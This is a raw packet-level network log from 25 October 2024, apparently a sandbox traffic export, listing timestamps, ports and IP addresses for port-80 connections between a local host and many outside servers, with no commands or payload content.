Oct 25, 2024 11:17:41.754070044 CEST	80	52643	3.94.41.167	192.168.2.5
Oct 25, 2024 11:17:41.754719019 CEST	52643	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:17:41.761933088 CEST	52646	80	192.168.2.5	147.154.0.23
Oct 25, 2024 11:17:41.765646935 CEST	52628	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:17:41.767338037 CEST	80	52646	147.154.0.23	192.168.2.5
Oct 25, 2024 11:17:41.771429062 CEST	80	52628	3.65.101.129	192.168.2.5
Oct 25, 2024 11:17:41.788789988 CEST	80	52643	3.94.41.167	192.168.2.5
Oct 25, 2024 11:17:41.790210009 CEST	52643	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:17:41.817440033 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.817594051 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.817609072 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.817631006 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.817672968 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.817689896 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.817742109 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.817755938 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.817769051 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.817785025 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.817831993 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.817847013 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.817866087 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.817866087 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.817866087 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.817866087 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.817867041 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.817882061 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.817898989 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.817903042 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.817914963 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.817920923 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.817933083 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.817940950 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.817984104 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.817984104 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.818176985 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.818200111 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.818217039 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.818221092 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.818232059 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.818248987 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.818248987 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.818248987 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.818269014 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.818288088 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.818464041 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.818854094 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.818871021 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.818885088 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.818905115 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.818917990 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.818923950 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.818933010 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.818949938 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.818960905 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.818978071 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.818984985 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.818999052 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.819000959 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.819016933 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.819022894 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.819032907 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.819042921 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.819050074 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.819062948 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.819065094 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.819084883 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.819097042 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.819118023 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.819139004 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.819705009 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.819720984 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.819736004 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.819751978 CEST	80	52617	213.165.251.217	192.168.2.5
Oct 25, 2024 11:17:41.819756985 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.819756985 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.819777012 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:41.819797039 CEST	52617	80	192.168.2.5	213.165.251.217
Oct 25, 2024 11:17:42.018188000 CEST	80	52628	3.65.101.129	192.168.2.5
Oct 25, 2024 11:17:42.022416115 CEST	52628	80	192.168.2.5	3.65.101.129
Oct 25, 2024 11:17:42.059766054 CEST	52643	80	192.168.2.5	3.94.41.167
Oct 25, 2024 11:17:42.065237045 CEST	80	52643	3.94.41.167	192.168.2.5
Oct 25, 2024 11:17:42.224766970 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:17:42.230262995 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:42.230381012 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:17:42.230516911 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:17:42.236330032 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:42.243294001 CEST	52652	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:42.247498989 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:42.248306990 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:42.249772072 CEST	80	52652	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:42.249859095 CEST	52652	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:42.250036001 CEST	52652	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:42.252026081 CEST	52655	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:17:42.253097057 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:42.253164053 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:42.253360033 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:42.254059076 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:42.254147053 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:42.254298925 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:42.255578041 CEST	80	52652	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:42.257505894 CEST	80	52655	13.248.252.114	192.168.2.5
Oct 25, 2024 11:17:42.257749081 CEST	52655	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:17:42.257913113 CEST	52655	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:17:42.259052038 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:42.260133028 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:42.263665915 CEST	80	52655	13.248.252.114	192.168.2.5
Oct 25, 2024 11:17:42.265080929 CEST	52656	80	192.168.2.5	213.186.33.40
Oct 25, 2024 11:17:42.270544052 CEST	80	52656	213.186.33.40	192.168.2.5
Oct 25, 2024 11:17:42.270710945 CEST	52656	80	192.168.2.5	213.186.33.40
Oct 25, 2024 11:17:42.270741940 CEST	52656	80	192.168.2.5	213.186.33.40
Oct 25, 2024 11:17:42.276285887 CEST	80	52656	213.186.33.40	192.168.2.5
Oct 25, 2024 11:17:42.370981932 CEST	52658	80	192.168.2.5	185.53.177.50
Oct 25, 2024 11:17:42.376739025 CEST	80	52658	185.53.177.50	192.168.2.5
Oct 25, 2024 11:17:42.376838923 CEST	52658	80	192.168.2.5	185.53.177.50
Oct 25, 2024 11:17:42.379793882 CEST	52658	80	192.168.2.5	185.53.177.50
Oct 25, 2024 11:17:42.386336088 CEST	80	52658	185.53.177.50	192.168.2.5
Oct 25, 2024 11:17:42.406991959 CEST	52659	80	192.168.2.5	35.164.78.200
Oct 25, 2024 11:17:42.409239054 CEST	80	52645	211.1.226.67	192.168.2.5
Oct 25, 2024 11:17:42.409348011 CEST	52645	80	192.168.2.5	211.1.226.67
Oct 25, 2024 11:17:42.412522078 CEST	80	52659	35.164.78.200	192.168.2.5
Oct 25, 2024 11:17:42.412614107 CEST	52659	80	192.168.2.5	35.164.78.200
Oct 25, 2024 11:17:42.412873030 CEST	52659	80	192.168.2.5	35.164.78.200
Oct 25, 2024 11:17:42.418374062 CEST	80	52659	35.164.78.200	192.168.2.5
Oct 25, 2024 11:17:42.449846983 CEST	52645	80	192.168.2.5	211.1.226.67
Oct 25, 2024 11:17:42.455445051 CEST	80	52645	211.1.226.67	192.168.2.5
Oct 25, 2024 11:17:42.466810942 CEST	80	52646	147.154.0.23	192.168.2.5
Oct 25, 2024 11:17:42.466876984 CEST	52646	80	192.168.2.5	147.154.0.23
Oct 25, 2024 11:17:42.467853069 CEST	80	52646	147.154.0.23	192.168.2.5
Oct 25, 2024 11:17:42.467978001 CEST	52646	80	192.168.2.5	147.154.0.23
Oct 25, 2024 11:17:42.574764967 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:42.580168962 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:42.580244064 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:42.580423117 CEST	52660	80	192.168.2.5	74.208.236.101
Oct 25, 2024 11:17:42.586198092 CEST	80	52660	74.208.236.101	192.168.2.5
Oct 25, 2024 11:17:42.712913990 CEST	80	52645	211.1.226.67	192.168.2.5
Oct 25, 2024 11:17:42.712985039 CEST	52645	80	192.168.2.5	211.1.226.67
Oct 25, 2024 11:17:42.810178041 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:42.815615892 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:42.815715075 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:42.815929890 CEST	52664	80	192.168.2.5	104.26.10.81
Oct 25, 2024 11:17:42.821367979 CEST	80	52664	104.26.10.81	192.168.2.5
Oct 25, 2024 11:17:42.847191095 CEST	80	52652	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:42.847203970 CEST	80	52652	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:42.847215891 CEST	80	52652	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:42.847260952 CEST	52652	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:42.847295046 CEST	52652	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:42.847882986 CEST	80	52652	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:42.847894907 CEST	80	52652	188.114.97.3	192.168.2.5
Oct 25, 2024 11:17:42.847934008 CEST	52652	80	192.168.2.5	188.114.97.3
Oct 25, 2024 11:17:42.972845078 CEST	80	52655	13.248.252.114	192.168.2.5
Oct 25, 2024 11:17:42.972908974 CEST	52655	80	192.168.2.5	13.248.252.114
Oct 25, 2024 11:17:43.093013048 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.093023062 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.093034983 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.093049049 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.093116999 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.093116999 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.093213081 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.093319893 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.093332052 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.093343019 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.093391895 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.093391895 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.093391895 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.093560934 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.093573093 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.093728065 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.093728065 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.098558903 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.098572969 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.098583937 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.098597050 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.098685026 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.098727942 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.127918005 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.127932072 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.127945900 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.127995968 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:17:43.128016949 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.128029108 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.128041029 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.128040075 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:17:43.128051996 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.128063917 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.128072977 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:17:43.128101110 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.128112078 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.128123045 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:17:43.128142118 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:17:43.128165007 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:17:43.133538961 CEST	80	52656	213.186.33.40	192.168.2.5
Oct 25, 2024 11:17:43.133558989 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.133610010 CEST	52656	80	192.168.2.5	213.186.33.40
Oct 25, 2024 11:17:43.133677006 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.133687019 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.133693933 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:17:43.133747101 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:17:43.133747101 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:17:43.142908096 CEST	80	52605	154.53.43.150	192.168.2.5
Oct 25, 2024 11:17:43.142956018 CEST	52605	80	192.168.2.5	154.53.43.150
Oct 25, 2024 11:17:43.149418116 CEST	52656	80	192.168.2.5	213.186.33.40
Oct 25, 2024 11:17:43.150245905 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.150259018 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.150269032 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.150304079 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.150327921 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.150340080 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.150391102 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.158931017 CEST	80	52656	213.186.33.40	192.168.2.5
Oct 25, 2024 11:17:43.182117939 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.182130098 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.182142019 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.182152987 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.182164907 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.182177067 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.182182074 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.182188988 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.182198048 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.182204008 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.182260990 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.182637930 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.182688951 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.182732105 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.182931900 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.212038040 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.212049007 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.212069988 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.212085009 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.212096930 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.212331057 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.212359905 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.212359905 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.212378025 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.212388992 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.212407112 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.212419033 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.212430000 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.212459087 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.212515116 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.213154078 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.213165045 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.213187933 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.213340998 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.213340998 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.213567019 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.213617086 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.213634014 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.213646889 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.213658094 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.213752985 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.213752985 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.214353085 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.214364052 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.214376926 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.214487076 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.214493036 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.214493036 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.214500904 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.214540958 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.215099096 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.215233088 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.217832088 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.217957020 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.218420029 CEST	80	52653	23.227.38.74	192.168.2.5
Oct 25, 2024 11:17:43.218650103 CEST	52653	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:17:43.233352900 CEST	80	52604	108.167.164.216	192.168.2.5
Oct 25, 2024 11:17:43.233426094 CEST	52604	80	192.168.2.5	108.167.164.216
Oct 25, 2024 11:17:43.243464947 CEST	80	52659	35.164.78.200	192.168.2.5
Oct 25, 2024 11:17:43.243531942 CEST	52659	80	192.168.2.5	35.164.78.200
Oct 25, 2024 11:17:43.244210005 CEST	52659	80	192.168.2.5	35.164.78.200
Oct 25, 2024 11:17:43.250300884 CEST	80	52659	35.164.78.200	192.168.2.5
Oct 25, 2024 11:17:43.250372887 CEST	52659	80	192.168.2.5	35.164.78.200
Oct 25, 2024 11:17:43.266720057 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.266768932 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.266807079 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.266844988 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.266865969 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:17:43.266889095 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:17:43.266925097 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:17:43.266943932 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.267014027 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:17:43.267467022 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.267498970 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.267519951 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:17:43.267546892 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:17:43.267575979 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.267625093 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:17:43.267851114 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.267884016 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.267920971 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.267981052 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:17:43.268009901 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:17:43.268676996 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.268709898 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.268743992 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.268776894 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.268821001 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:17:43.268821001 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:17:43.268846989 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:17:43.268897057 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.268929958 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.268949032 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:17:43.268975019 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:17:43.269007921 CEST	80	52651	144.76.24.9	192.168.2.5
Oct 25, 2024 11:17:43.269056082 CEST	52651	80	192.168.2.5	144.76.24.9
Oct 25, 2024 11:17:43.275705099 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.275742054 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.275774956 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.275789022 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.275789022 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.275810003 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.275845051 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.275846958 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.275897980 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.276144981 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.276210070 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.276365995 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.276402950 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.276479959 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.307121992 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.307157040 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.307192087 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.307198048 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.307224989 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.307225943 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.307276011 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.307435036 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.307495117 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.307647943 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.307682037 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.307698011 CEST	52654	80	192.168.2.5	217.79.184.35
Oct 25, 2024 11:17:43.307715893 CEST	80	52654	217.79.184.35	192.168.2.5
Oct 25, 2024 11:17:43.307723999 CEST	52654	80	192.168.2.5	217.79.184.35
